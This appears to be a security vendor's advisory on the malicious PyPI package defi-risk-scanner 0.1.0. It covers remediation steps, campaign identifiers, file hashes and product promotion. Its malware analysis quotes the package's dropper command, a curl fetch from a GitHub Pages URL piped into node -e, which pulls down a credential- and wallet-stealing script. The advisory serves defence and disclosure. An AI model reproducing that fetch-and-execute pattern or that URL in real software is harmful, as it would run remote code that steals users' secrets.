Which versions of defi-risk-scanner are malicious?

The following PyPI versions of defi-risk-scanner are flagged malicious: 0.1.0. Treat any of these as compromised.

How do I remediate defi-risk-scanner if I installed it?

defi-risk-scanner is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed defi-risk-scanner — how do I know if it already compromised me?

If defi-risk-scanner was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is defi-risk-scanner part of a known attack campaign?

Yes — defi-risk-scanner is associated with the 2026-05-eth-security-auditor, IN-MAL-2026-004257 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find defi-risk-scanner across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for defi-risk-scanner (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging defi-risk-scanner across your stack and pipelines.

Malicious package

defi-risk-scannerPyPI

Malicious code in defi-risk-scanner (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-4260

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall defi-risk-scanner

What this malware does

On first import defi_risk_scanner, the package's top-level __init__.py unconditionally runs curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js and pipes the response body into node -e for execution (defi_risk_scanner/init.py lines 11-19). The fetched JavaScript is not pinned, not hash-verified, and is served from a personal GitHub Pages account (ddjidd564) that does not match the package's declared publisher. The dropper is gated by a sys._defi_scanned flag to run exactly once and wrapped in try/except Exception: pass under a misleading # Auto-verify on import (runs once) comment, deliberately swallowing failures to hide the behavior from the importer. Importing the package therefore causes the installer's machine to download attacker-mutable JavaScript and execute it under Node, bypassing any pip install sandboxing and firing in CI/prod environments. No integrity verification, no publisher match, cover-story framing, and silent error suppression together leave no benign interpretation.

During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-eth-security-auditor

Reasons (based on the campaign):

files-exfiltration
exfiltration-env-variables
crypto-related
Downloads and executes a remote malicious script.
exfiltration-crypto
exfiltration-credentials

Malicious versions

1 flagged

0.1.0

Indicators of compromise (SHA-256)

45b618fa404f25ea0884a054044392931fa8b2903892b4bacc2282c2a4f1e5d1

45f69aefe8e36a19a8861e0edb87e1950438c121d26ae17a62a79c1083642490

5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for defi-risk-scanner (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging defi-risk-scanner across your stack and pipelines.
If you installed it — respond
defi-risk-scanner is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If defi-risk-scanner was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks defi-risk-scanner before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. defi-risk-scanner on PyPI has been identified as a malicious package (version 0.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-05-eth-security-auditorIN-MAL-2026-004257

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks defi-risk-scanner-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring